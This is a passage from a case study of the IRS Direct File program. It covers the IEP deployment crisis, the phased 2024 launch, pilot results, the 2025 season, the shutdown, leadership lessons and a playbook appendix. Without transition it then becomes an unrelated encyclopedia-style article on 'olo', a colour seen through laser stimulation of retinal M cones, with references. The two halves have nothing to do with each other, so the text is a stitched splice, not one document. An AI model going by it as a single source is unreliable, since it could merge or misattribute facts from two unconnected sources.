Knowing this was a situation that needed a solution, and fast, Ahearn and team proposed a short sprint to assess feasibility and paths forward: each day, the team would set out a new goal to achieve, with update meetings with Commissioner Werfel and the CIO mid-day daily, as well as evening emails providing a progress update. Ahearn was the right person to lead the sprint: after months of drafting extensive documentation, he knew better than anyone the burdensome processes impeding deployment, as well as Accenture, the vendor that ran the fully outsourced IEP cloud environment. The two-week goal was to finally deploy on IEP, an objective that had been unattainable previously. Ahearn led a team of engineers through an intense, two-week sprint to work with vendor partners, holding daily updates and multiple 12-hour team calls to clear roadblocks in real time. Even the IEP contractors were pulled in, forcing the Direct File team to deal with realities of government contracting that they had long tried to avoid.

The sprint achieved its objectives: by the end, the team was able to deploy and put Direct File back on track to deliver the pilot in time for the upcoming filing season.

Never Waste a Crisis: Leverage for Opportunity

The crisis gave the team permission to raise and solve issues that previously had been unsolvable. Daily meetings with the Commissioner, direct access to contractors, real-time decision-making — none of this would have been possible without the urgency of near-failure.

These two weeks had a lasting impact on the team’s ways of working. Not only did they save Direct File by achieving the deployment on IEP, but they also gained a renewed conviction that, from now on, the team could not wait for bottlenecks to appear: they had to be more proactive. Continued development of the platform, with frequent and quick deployment, would be used to surface any issues and avoid another make-or-break situation. Moving forward, the IRS saw the value of having additional in-house talent to manage vendor-driven products like IEP.

The deployment crisis also exposed how some aspects of change management inside the agency had been overlooked, and the sprint gave a chance for the agency to reset its relationship with the Direct File team. Chris Given and the IRS Chief Information Officer (CIO) began meeting more regularly, smoothing tensions and accelerating turnaround for deployment approvals, an essential step for the quick feature-shipping strategy of the Direct File engineering team.

On the leadership side, trust with Commissioner Werfel had to be strengthened and maintained, but it was understandably rocky going. Even though the Commissioner still supported the project and team, the uneasy feeling lingered, and Commissioner Werfel recalled his shock and frustration about the sudden urgency. Why had the team not told him about the issues sooner? While the engineers worked to troubleshoot the technical issues, the team focused on repairing the relationship. They created a “no-surprises” tracker, shared weekly with Commissioner Werfel, and worked together to identify all potential surprises. Transparent and regular communication would lay the foundation for a stronger future relationship.

Closing on the two-week sprint, the team celebrated: Direct File was now live on IEP. They had not wasted the crisis: they started on a new foundation, incorporating the learnings gained, and stayed on track for launch by the opening of the tax season. After the delay, the pilot was officially announced to the press on October 17, 2023.

October–December 2023: Getting Ready for Launch

While one roadblock had been cleared, many others remained. State tax integration was next. Of the states joining the pilot, three would be integrated via API: Arizona, New York, and Massachusetts. By late October, the engineering team started testing the APIs with the state tax agencies.

The team was pushing on multiple fronts. Engineers built out the many features they wanted taxpayers to have, while also building relationships with state tax agencies to secure state filing through Direct File. Meanwhile, designers continuously tested new releases with users to get quick and timely feedback. They worked to make sure that Direct File used plain language, which would build user confidence on the platform, but also, indirectly, trust in the IRS. To do so, they worked closely with the IRS’s Office of Chief Counsel for language accuracy, as well as other users and taxpayers, to avoid tax lingo and reduce confusion. In parallel, the Spanish version of Direct File was being developed to ensure millions of Americans could file in their preferred language. Taxpayers using assistive technology were also involved to uphold the principles of accessible product design. Given the complexity of the tax code and the need for an accessible and easy-to-use product, the challenge of using plain language in both English and Spanish was a priority for the design team.

Despite the pace, there were many moving parts. By the end of November, the team realized that launching to all taxpayers on the opening of the filing season in January 2024 was not realistic. Direct File teammate, Amy Paris, devised a launch plan in phases that would maintain their iterative approach. Indeed, rather than launching widely and opening the platform to the 15.4 million eligible taxpayers at once, they would roll it out in waves. This strategy would minimize risks, avoid a healthcare.gov-style disaster, and give them the opportunity to fix bugs before they affected hundreds or thousands of taxpayers.

At the end of December 2023, with a phased launch decoupled from the opening of filing season, the Direct File team was ready to start training agency employees more widely and demo the product to agency leadership. Training for customer support representatives (CSR) began in early January 2024, preparing the IRS frontline for the expected surge in user inquiries, whether on the phone and through chat. A total of 400 IRS employees were trained to answer questions about Direct File. Some CSRs had collaborated with the designers for months to resolve any issues ahead of an agency-wide training.

On January 18, 2024, Commissioner Werfel and several Direct File team members gathered at Treasury headquarters to demo Direct File for Secretary Janet Yellen. The presentation was a success. Even though Direct File would not be available for most taxpayers for at least another month, Treasury leadership left convinced and excited.

After additional testing, Direct File was ready for prime time.

The Direct File project followed an unorthodox path for high-stakes launches: starting slow and gradually increasing the number of users. In government, most launch deadlines are included in legislation. The Direct File team had what should be the standard for the government: the ability to set their own launch date, based on when the platform was ready.

If you were Commissioner Werfel and had a congressionally mandated launch date, how would you ensure that your team and launch were set up for success?

Direct File Launch

Starting Small to Get it Right

Paris’ plan set out an iterative launch process with gradual growth of the user base as milestones were reached. The pilot would validate core functionalities, then scale gradually to test system limits.

PHASE A: JANUARY 22, 2024: All IRS employees were invited to use Direct File once the platform opened for them, at the launch of tax season. This controlled environment allowed for bugs to be detected and fixed in real-time with internal and knowledgeable users.

On February 1, 2024, Dixie Warden, an IRS employee in Texas, became the first person to file her taxes on Direct File. Initially, her return did not get submitted, but after a quick fix, Warden’s tax return went through, marking a historic milestone. “The way that it was laid out was just so darn easy to understand and I just see it being helpful for so many millions of people,” Warden said. Taxpayers in states with state income tax had to wait another week. The first state API export took place on February 9, 2024.

PHASE B: FEBRUARY 22, 2024: Direct File was open during limited and unannounced windows of public availability. Gradual and controlled growth tested system capacity and allowed bugs to be resolved before they affected more users.

While the rollout was going well, some on the team worried that the product did not yet have enough users to have full confidence that it would be ready to handle the end-of-filing-season volume; most tax filers file their taxes during the last week of filing season. To date, being risk-aware worked to the product’s favor: no significant bugs were found, and user trust was maintained. The team’s objectives were never about user acquisition, so no user goals had been set. But would this approach cause problems later: would Direct File be able to scale to meet the demand?

After conversations with the Commissioner to better align on objectives, it was determined that the benefit of opening up to more users and making Direct File more widely available outweighed the risks. The product had performed well to date and needed more users to determine if it could safely scale as the end of the filing season approached.

PHASE C: MARCH 12, 2024: Direct File became available 24/7, with the IRS reserving the right to limit usage if needed. The Spanish version also went live. The team was being prudent, concerned with the risk of glitches or outages.

PHASE D: MARCH 19, 2024: with Phase C successful, the IRS gave the green light to move Phase D, allowing all eligible taxpayers to participate.

The benefits of a controlled rollout were evident for the team. They had prepared for many scenarios: more than 1,600 test cases had been written and tested before launch. But inevitably, with each new wave, unanticipated bugs would surface that were swiftly handled by the team. In total, however, only four types of bugs were identified after the platform went live, and quick action contained them: the bugs only affected 26 tax returns.

The Direct File team consistently made decisions based on both user feedback and data. An example of this successful strategy happened in March 2024, when the team noticed unusually high rejection rates in one category: prior year’s adjusted gross income (AGI) verification. To file electronically, Modernized e-File (MeF), the program that is the foundation of electronic filing, requires taxpayers to verify their previous year’s AGI to confirm their identity. The problem: Direct File had no previous year’s data for taxpayers, leading to a higher error rate than other filing options. Yet the IRS had that information for all taxpayers. On March 25, 2024, the team embarked on a two-week sprint involving engineering, UX, translation, and testing to integrate prior-year AGI into Direct File for authenticated users. The fix shipped on April 5, reducing rejection rates by 25%. This was the team’s first foray into data import — something the user research had indicated was what taxpayers most wanted to see from Direct File.

On April 15, 2024, the tax season ended. Direct File remained open until April 20 to allow resubmission for rejected returns. It was time for the team to conduct a post-mortem of the pilot, and for Treasury to decide on the future of Direct File.

The Results: A Trusted, Beloved Pilot

On May 3, 2024, the IRS released the Filing Season 2024 After-Action Report, summarizing the key lessons learned from the pilot. The document highlighted both the results and the work that led to them, crediting the team’s values and ways of working.

The outcomes were encouraging. Of the 15.4 million eligible taxpayers, approximately 3.3 million used the Direct File Eligibility Checker. Of those, 423,450 logged in to Direct File, and 140,803 submitted accepted returns — far exceeding the initial target of 100,000. Most users were able to file in under 30 minutes. Participation was highest in California, Texas, and Florida.

The team was thrilled: more than 140,000 households had filed their return directly with the IRS — quickly, accurately, and free of charge. However, they knew there was room for better outcomes. Indeed, due to the time spent on technical troubleshooting and the tight deadlines, the marketing and outreach strategy had not been a priority until late into the tax season. Despite the IRS’s press announcement, there was little initial traction, and users did not come right away. It was noted that more efforts were needed to make sure the public was aware of the new option.

Despite a slow start, limited resources, and largely manual efforts to raise awareness, Direct File reached a significant number of taxpayers. More than 15,000 Direct File users responded to the IRS Touchpoints survey, with 90% rating their experience as “excellent” or “above average.” They found Direct File to be easy to use and trustworthy, and appreciated the ability to file their returns for free.

The project’s experiment with customer support was also a success: the live chat operated by dedicated IRS customer support agents proved to be key in supporting taxpayers. Ninety percent of respondents rated their experience as “excellent” or “above average.” Many praised Direct File’s clear and straightforward instructions, while others expressed high levels of enthusiasm: “It was amazing, easiest taxes I’ve ever prepared! Really impressed that this was put together by the IRS,” one user wrote. The agents handled a total of 38,600 chats, serving 10% of pilot participants who resorted to the chat for help. The average time for chats was nine minutes, with an average wait time of less than one minute.

Perhaps more surprisingly, 86% of users reported that using Direct File increased their trust in the IRS. This was a testament to the team’s focus on accessibility and plain language. For the product designers, this validated their key assumption and intention: well-designed, user-friendly government services can build public trust. For observers, it was a meaningful learning: Americans expect government technology to be easy to use, free, and accessible.

The financial investment was also worthwhile. The total cost of the pilot at the IRS was $24.6 million, with an additional $7.2 million at USDS. With this investment, the IRS estimated that Direct File users saved $5.6 million in tax preparation services.

With a successful pilot completed — and numerous promises for the digital transformation of tax administration — the IRS announced that Direct File would become permanent. It was a victory for the team, who had hoped for this outcome, but also for taxpayers, as Direct File would expand to cover more filers in the future.

The 2025 Tax Season

Between May 2024 and the start of the 2025 tax season, the team remained focused on expanding Direct File. The geographic coverage grew significantly, from 12 to 25 states. Eligibility was also broadened to support the Child and Dependent Care Credit, the Premium Tax Credit, the Credit for the Elderly and Disabled, and the Retirement Savings Contribution Credits. It also added coverage for taxpayers claiming deductions for Health Savings Accounts. As a result, Direct File’s 2025 reach expanded to 32.2 million taxpayers.

Technical capabilities were also improved. A One-Step Signature feature was added to allow taxpayers to sign and validate returns with a single checkbox. Authenticated live chat provided logged-in users with more efficient support, while the data import feature enabled more taxpayer information to flow directly into the returns. The IRS invested $41 million to prepare and operate the program during the 2025 tax season, funding enhancements that allowed the submission acceptance rate to increase from 73.4% to 87.9% between 2024 and 2025.

Despite these technical achievements, the newly elected Trump administration did not communicate to taxpayers about Direct File. In early February, the President’s technology czar, Elon Musk, shared a confusing tweet indicating that he had “deleted” Direct File. From there, media coverage echoed confusing statements, with headlines such as “Elon Musk says he ‘deleted IRS Direct File.’ Can taxpayers still use the free service?”

A total of 296,531 returns were filed and accepted in 2025 through Direct File, an increase of 111% over the prior year. Satisfaction remained high, with 94% of taxpayers rating their experience as “excellent” or “above average,” up from 90% in 2024. Yet the tax season was marked by political turbulence that undermined public outreach, created confusion, and eroded public trust. Commissioner Werfel resigned just as the season opened, three years before the end of his term. From there, partisan attacks and inconsistent messaging intensified. This environment coincided with a drop in reported trust: only 68% of users said that Direct File increased their trust in government, compared to 86% in 2024.

Direct File is Shuttered

In March 2025, President Trump’s Department of Government Efficiency (DOGE) made clear to IRS leadership that the Direct File team would be stood down and no future work in preparation for the 2026 filing season should continue. In May 2025, the IRS made Direct File open source, giving the wider civic tech community and state tax administrations an option to build from the platform if they so choose. After Congress directed the IRS to write another report to explore future tax filing partnerships with the private sector, Treasury officially confirmed that they would shut down Direct File.

The Lessons of Direct File

Direct File offers valuable insights for leaders at every level. From engineers like Ryan and Paul to team leads such as Bridget, Merici, Chris, Suzanne, and Steve, to agency heads like Commissioner Werfel and Deputy Secretary Adeyemo, a successful product launch requires collaboration, as well as protection and advocacy from leadership.

Direct File also showcases a shift in how government can work by adopting the agility of startup practices while meeting the public’s needs responsibly and efficiently. High-level executives play a critical role in creating an environment where empowered teams can thrive and deliver meaningful results within a system traditionally characterized by red tape rather than tools like Slack.

TIME IS YOUR MOST CRITICAL RESOURCE

The decision-making process to launch Direct File took too long; between autumn of 2021 and the launch in January 2024, the team lost a valuable 18 months that could have led to broader usage and, eventually, greater tax scope. Direct File should give future leaders confidence that a small pilot can lead to astonishing results — and those small pilots should start early and pivot often.

NEW GOVERNANCE IS REQUIRED

“The tech is the easy part, people are the hard part” is a common refrain across complex bureaucracies. Mobilizing organizations to create the conditions for successful, transformative services requires strong governance, supported by strong, accountable leaders. Agency leaders need to have visibility into issues as they arise, and the most effective approach is to establish a cadence and structure that allows teams to surface roadblacks and blockers in real time.

Additionally, being responsive to users requires that product or service teams have the capacity and permission to rapidly fix bugs, update the product based on feedback, and pivot their strategy if necessary. Different decisions need to be made at the right moments, and it is important that teams have the authorizing structures to deliver accordingly. For example, decisions about deploying a product update to fix a bug need to be made on a minute-by-minute basis, not through a bi-weekly or monthly governance committee.

BUILD A TEAM THAT UNDERSTANDS TECH, EVEN IF YOU DON’T

Agency leaders are often hired for their policy expertise. As organizations embed more software into their operations, technical expertise is required at the most strategic level to support mission-level planning and execution. Commissioner Werfel, for example, understood how to partner with and support an empowered service team like the developers of Direct File. This level of comfort and support is rare at the federal level, but it should not be. Agency leaders need to surround themselves with technical leaders and embed them in critical decision-making processes.

MOVE BEYOND ORGANIZATIONAL STRUCTURES

Consumer-facing launches should be a strategic agency priority, surpassing individual business and IT objectives. Federal agencies make decisions based on organizational silos, often throwing requirements from one side to the other, and without the consumer-facing product development expertise necessary to ensure success. Historically, websites and new products are treated within the federal government — both organizationally and culturally — with the attitude, “It’s an IT thing.”. Now, consumer-facing digital products are mission-level, strategic priorities, and they must be treated as such, with empowered, cross-functional teams empowered to deliver.

SUPPORT EARLY AND OFTEN

The first step for agency leaders is to establish the necessary permission structure that allows agile teams to flourish. This means using institutional authority to shield delivery teams and enable bold experimentation. In the early days of Direct File, the talented USDS team worked tirelessly to persuade White House leaders, particularly principals at the National Economic Council, of the project’s promise. Yet no formal permission structure emerged until the IRA passed, two years into the Administration, costing precious time that could have accelerated the pilot’s launch.

When Ryan Ahearn took the lead during the sprint to production, his mandate was simple yet critical: remove any obstacles in his team’s way. Through daily Zoom check-ins and weekly sprints, he provided the necessary cover and support, allowing the team to focus on the product. This illustrates how engaged and empowering leadership at every level of government is essential to getting complex projects across the finish line.

Commission Werfel demonstrated this principle in action during the summer of 2023. When Suzanne Chapman, the design team lead, faced long approval timelines for surveys and user research within the IRS, she escalated her concerns to her supervisors. Werfel intervened, securing a 10-day turnaround for approvals and ensuring the Direct File team could stay true to its user-centered practices.

Werfel’s ability to step in was not only a function of his position at the IRS, but also of the support he received from Treasury. Deputy Secretary Adeyemo recognized the project’s significance to the Administration and provided the high-level backing necessary to clear institutional hurdles. This highlights an essential truth: for agency leaders, time is a scarce but powerful currency. By dedicating time and energy to removing obstacles and signaling priorities, leaders enable delivery teams to succeed, especially when projects enter the political spotlight.

LEADING THROUGH RISK

Additionally, high-profile projects can’t be managed under the perception of zero risk. “No risk” leads to inaction and favors the status quo, which in this case leaves many Americans having to pay to file their taxes each year. Leaders need to be comfortable with the manageable risks that large-scale projects entail, and maintain a problem-solving mindset: when challenges arise, the priority should be to assess risks quickly, remove obstacles, and keep the project moving, rather than adding layers of risk-management paperwork and slowing the project down.

When the engineering team reported the delay in deploying on IEP, leadership’s response was measured and solution-oriented. Instead of halting the progress, they supported a temporary postponement and gave the team the flexibility they needed to respond to the challenge while empowering them to change their ways of working. The backing of the IRS, Treasury, OMB, and the White House made this possible, ensuring that the project stayed on track. Along with setting priorities and creating the necessary permission structure for teams to operate, the ability to manage setbacks when they happen should be an essential tool in every leader’s toolbox.

A MULTIPLE-WAY STREET

Building trust during high-stakes, high-profile launches requires constant, transparent communication across all levels of government. Within the delivery team, progress updates and roadblock reports are essential. Delivery team leaders not only set timelines and deliverables that reflect project constraints, but they also listen closely to feedback from their teams and management. Communicating often and early is key. For high-level leadership, communication involves staying up-to-date on a project and using influence to resolve challenges quickly and sustain progress.

In September 2023, the announcement that Direct File could not be deployed on IEP exemplified a breakdown in the chain of communication. Indeed, feedback from the engineers was slow to reach the team leads, who continued reporting to Commissioner Werfel that deployment was on track. Once the news broke, leadership reaffirmed its support, and the team adopted a new communication style: full transparency, including the creation of a “no-surprise” tracker to ensure that all information flowed early and openly, up and down the chain, helping rebuild trust.

Achieving this level of openness required breaking down silos and entrenched working habits. Direct File introduced a new way of working at the IRS, featuring a fully integrated team on which contractors and government employees collaborated daily. Instead of rigid contracts with lengthy lists of specs and major milestones, contractors embarked on weekly sprints and engaged in continuous open dialogue. Contractors, accustomed to shielding issues to avoid penalties, had to adjust and report setbacks promptly, creating opportunities for feedback and course correction. This cultural shift was key to keeping Direct File on track.

IN-HOUSE CAPACITY: BUILDING A GOVERNMENT PRODUCT

The success of Direct File reflects the effective application of the USDS playbook, with its startup-like approach to agile government. Blended teams, iterative processes, and a commitment to user-centered design supported the project from concept to completion. The first principle of the USDS Playbook — spending time with users to understand their needs and testing prototypes early — proved essential. The Direct File team adopted short feedback loops, with designers and engineers collaborating closely with taxpayers and IRS customer representatives to test scenarios and ensure accessibility.

This proximity to end-users shaped every aspect of the product. Suzanne Chapman and the design team collaborated with hundreds of users and reviewed thousands of use cases to create a simple and intuitive tax filing experience. The team was obsessed with using plain language and giving people confidence in their ability to file taxes directly with the government. This user-focused approach ensured that Direct File addressed taxpayers’ pain points and provided real value.

Iterative practices were in the DNA of the Direct File team. Understanding that the most efficient way to build was incrementally, they set realistic goals for the pilot and delivered updates rapidly. Once on IEP, they shipped new fixes and features on a regular schedule. With a work cadence based on sprint-based demos every two weeks, they built a reliable product fast. Their data-driven approach to releasing updates, assessing their effectiveness, and testing them on users led to a successful pilot. This rapid loop marked a sharp departure from traditional government projects.

Finally, the team behind Direct File was its greatest asset. They navigated complex political environments and resisted great pressure to deliver a successful end product. Despite the almost certain termination of Direct File, its work now lives as an open source project, feeding into the hope that it could return and serve American taxpayers again in the near future.

Conclusion

While Direct File has long been a dream for a few civic tech visionaries, its realization in just a couple of years was truly extraordinary. Despite political turmoil, technical hurdles, hours of user testing, tight budgets, and constant scrutiny, the team delivered what few thought possible: a product that was almost universally praised by the taxpayers who used it.

Agency and department leaders played a pivotal role in making this happen. Beyond ensuring that delivery teams implement best practices and have best-in-class skills, leaders also need to advocate early for high-stake projects, create a permission structure to enable progress, embrace and manage the risks, provide cover through turbulence, and act as champions to ensure success, from beginning to end. During the two years following the IRA, the high-level executives involved with Direct File navigated a complex environment in an unchartered territory of government technology, sometimes with mixed results.

The key lessons from Direct File’s success with taxpayers is clear: Americans not only appreciate when their government makes their life easier; they demand it. Thanks to the roadmap provided by Direct File, future government leaders won’t have to start from scratch to take on that call to action. As a senior Treasury official noted, “Whoever takes this job three years from now will look back at the IRS’s tech modernization and the impact the Direct File team had.” What future leaders will need is the courage to take on ambitious projects and the conviction that government can and should deliver big things.

Appendix: The Direct File Playbook

The Direct File team had a little over seven months to build a complex product and integrate it into state tax systems before the start of filing season. With Treasury’s green light, the backing of Commissioner Werfel, and an ambitious deadline, Bridget Roberts, Merici Vinton and Chris Given created the context to not only deliver a great product but to assemble a team capable of building it. Together, they paved a path forward and created a new playbook for delivering technology in the federal government. Here are key lessons learned from Direct File that future leaders and delivery owners and teams can follow.

APPOINT A SERVICE OWNER

Taking a page from the UK’s successful Government Digital Service (GDS) team, Bridget Roberts was appointed as Direct File’s Service Owner. A Service Owner is fully accountable, empowered to make the majority of daily decisions, and owns the entire service, end-to-end. Like most government agencies, the IRS makes most decisions through arduous governance boards and committees. The Service Owner approach breaks that model and simplifies decision-making, which, in the case of Direct File, was critical, given the near-impossible deadline.

OWN THE STRATEGY AND EXECUTION: BUILD AN IN-HOUSE TEAM

From there, the leaders of the Direct File project went on to build a team that fully owned the strategy and execution. As previously stated, most government agencies outsource product development and strategy entirely to external vendors, an approach that rarely incorporates user feedback or leads to a successful delivery.

The Direct File team had a head start: they could draw from the talented pool of employees with technical expertise and experience at USDS, several of whom had already supported the prototyping process. The team grew to include additional IRS employees, as well as 18F and vendor teams. When working with contractors, the approach was “badgeless” to integrate them into the team and tie contracts to regular, tangible deliverables, avoiding the trap of distant milestones and siloed work.

The team was structured around product goals, not organizational or vendor siloes. Unlike most government projects, which rely heavily on external contractors delivering milestones based on generic specs, Direct File was led by a blended team. Engineers, designers, contractors, legal counsel, and policy experts worked closely and collaboratively as one team. Over time, the team built its own identity and culture, from all-hands and regular product demos to goofy Slack channels and custom-branded merch.

BUILD A JOINED-UP “SERVICE TEAM”

Unifying the customer support and product teams was an effective example of how government can work across existing silos to deliver excellent customer experience. Creating an ongoing feedback loop between users, front-line IRS staff, and the product team meant that issues facing taxpayers could be addressed in real time. Changes like this do not require a new budget, but rather result from leadership with a relentless focus on delivery.

CULTURE MATTERS

Clear-eyed on their objective to build the best team, the USDS team developed onboarding exercises to reinforce mission alignment from the start. Indeed, Direct File had been a “white whale” of civic technologists for so long that the interest from would-be team members was high. But they also sought people motivated by more than the tech challenge. In one exercise, new hires played a “spectrum” exercise: Was Direct File’s main purpose to ease the burden on taxpayers on one end, or to make benefit administration more efficient on the other end? There was no right answer: the goal was to surface values and ensure every team member bought into the broader vision of public service.

PROTOTYPE EARLY AND OFTEN

The Direct FIle team used prototyping as a strategy throughout the process. Initially, they prototyped to strengthen the case for an excellent user experience and set clear baseline expectations. Until the initial prototype demo, stakeholders had different expectations for what was possible, and each version of the prototype aligned stakeholders and drove momentum forward. The prototype was also used to get feedback from potential users; this allowed the team to pivot their approach and ensured they were building a product that made sense to taxpayers. Finally, the team gained invaluable momentum by prototyping as part of the initial report to Congress.

GO DEEP ON TAXES

To create a team that could deliver a new tax service, skills alone were not enough: the team set out to build a learning culture. Few of the incoming engineers and designers had experience with the details of tax filing; they would need to learn quickly. With the right people on, team members were regularly encouraged to read IRS bulletins and reports, immerse themselves in the work, and grow a shared knowledge of the policy context.

DESIGN WITH USERS, NOT FOR THEM

The Direct File design team knew that the success of their product centered on delivering an excellent user experience. Led by Suzanne Chapman, this team relentlessly tested the product with users to better understand their needs, identify confusing words to simplify, and pivot strategy when needed. The Direct File team talked to over 150 people before and throughout filing season. Without this feedback, the final Direct File product would not have had the accessible user experience it did.

DESIGN FOR TRUST AND ACCESSIBILITY

In addition to ongoing user research, the design team worked to ensure that Direct File would exceed best practices for accessible users, going beyond standard compliance with Section 508 (which requires that government technologies are accessible to people with disabilities). Chapman enlisted Louise Clarke, the head of accessibility at USDS, to continuously push the team to ensure standards were not just met, but exceeded. The team also partnered with the American Council for the Blind to give feedback and ensure the product was usable for taxpayers who are visually impaired.

TAXES ARE THE PRODUCT

This was a core value the Direct File team wove into every decision: an IRS-run tax product had to be accurate and secure. Tax law changes frequently, so the Direct File needed to be easily and quickly updated to reflect tax code changes via a configuration file. The Direct File engineering team built not just the ability to calculate and file taxes, but also to nimbly make updates to the software — a near miracle, given the short period of time the team had.

PRIORITIZE DATA-DRIVEN DECISION MAKING

Direct File had a Data Product team whose sole responsibility was to analyze data as it came in and recommend product updates to reduce rejected returns or simplify the journey. This team provided Bridget and agency leadership with a consistent stream of information about the product’s performance and improvements. Build the capacity to support continuous improvement and iterate services based on analytics.

START SMALL TO GET IT RIGHT: LAUNCH CONTROL

To avoid a potentially catastrophic launch, the Direct File team took a phased approach to launch. They started slowly, initially with just one user, and observed the product’s progress when it had just a handful of users filing at one time. The objective was to catch bugs early.

This strategy worked: the first filer encountered a bug that would have been catastrophic had the product been widely available. Instead, the team quickly spotted the minor issue in IEP, redeployed, and successfully submitted the tax return. This approach ensured that trust was maintained and set new expectations for government products.

The most chromatic color inside the sRGB gamut, that has a similar hue to olo, is pictured above.

Olo is an imaginary color that can only be seen using specialized tools that exclusively activate the M cone cells on the retina.

It is impossible to view olo under normal viewing conditions, due to the overlapping sensitivities of M cone cells and S and L cone cells in all wavelengths of visible light that evoke them. In other words, there is no monochromatic stimulus (the purest type of stimulus that humans can perceive) that activates only the M cones. This means that olo is outside the visible gamut. To get around this, researchers mapped a portion of the retina and individually identified each cone cell as either an S, M, or L cone. They then used lasers to deliver tiny doses of light attempting to target specifically the M cone cells, mostly avoiding the S and L cone cells. This feat was achieved by using adaptive optics scanning laser ophthalmoscopy[1][2].

The researchers who experienced olo said that the closest color to olo in the sRGB gamut is hexadecimal code #00FFCC.[2]

Discovery

Olo was discovered on April 18, 2025 by scientists at UC Berkeley.[1][3] The color is named after its theoretical LMS color space coordinates (0, 1, 0), which spells "olo" in leet speak.[4][3]

Only the five subjects of the Berkeley experiment have officially seen olo.[1][5] Professor Ren Ng, a co-author of the study, described olo as "more saturated than any color that you can see in the real world";[5] the five subjects of the experiment similarly described the color as a "blue-green of unprecedented saturation".[1] Ng and his team are exploring whether the technology used to generate olo could be adapted to enhance color perception in individuals with color blindness to manage the symptoms of color blindness. He further suggested that this approach could even lead to a form of enhanced vision known as tetrachromacy, where individuals may perceive a broader range of colors.[6]

Their square display of olo occupied an angular width of 0.9°[1], around twice the diameter of the moon[7].

Legitimacy

Experts in the field have described the technique used to create olo as a significant technical achievement. The Berkeley team generated the color by precisely stimulating individual cone cells in the retina using lasers, creating a color beyond the human visible gamut.[8]

However, some scientists, including Professor John Barbur from City St George's, University of London, have questioned whether olo truly represents a "new" color, saying that its existence is "open to argument".[5] Skepticism within the scientific community regarding the classification of olo as a genuinely novel color has been noted.[3][9]

The idea of olo has drawn attention beyond the scientific community, with artists expressing interest in creating paints inspired by the color. The Berkeley research team has also received global interest, with requests from reporters seeking to experience the phenomenon firsthand.[10]

References

1. Fong, James; Doyle, Hannah K.; Wang, Congli; Boehm, Alexandra E.; Herbeck, Sofie R.; Pandiyan, Vimal Prabhu; Schmidt, Brian P.; Tiruveedhula, Pavan; Vanston, John E.; Tuten, William S.; Sabesan, Ramkumar; Roorda, Austin; Ng, Ren (2025-04-18). "Novel color via stimulation of individual photoreceptors at population scale". Science Advances. 11 (16) eadu1052. doi:10.1126/sciadv.adu1052. PMC 12007580. PMID 40249825.

2. Krywko, Jacek. Parshall, Allison (ed.). "Only Five People Have Seen This New Impossible Color". Scientific American. Retrieved 2025-05-04.

3. Sample, Ian (2025-04-18). "Hue new? Scientists claim to have found colour no one has seen before". The Guardian. ISSN 0261-3077. Retrieved 2025-05-01.

4. Lanese, Nicoletta (2025-04-18). "'Olo' is a brand-new color only ever seen by 5 people". Live Science. Retrieved 2025-05-04.

5. "Scientists claim to have discovered 'new colour' no one has seen before". BBC. 19 April 2025. Retrieved 8 May 2025.

6. "Have scientists discovered a new colour called 'olo'?". Al Jazeera. 26 April 2025. Retrieved 18 May 2025.

7. "Angular Diameter | COSMOS". www.astronomy.swin.edu.au. Retrieved 2026-08-18.

8. "Brand-new colour created by tricking human eyes with laser". Nature. 18 April 2025. Retrieved 8 May 2025.

9. Hashemi, Sara. "Scientists Say They've Discovered a New Color—an 'Unprecedented' Hue Only Ever Seen by Five People". Smithsonian Magazine. Retrieved 2025-05-04.

10. "The 'Profound' Experience of Seeing a New Color". The Atlantic. 23 April 2025. Retrieved 8 May 2025.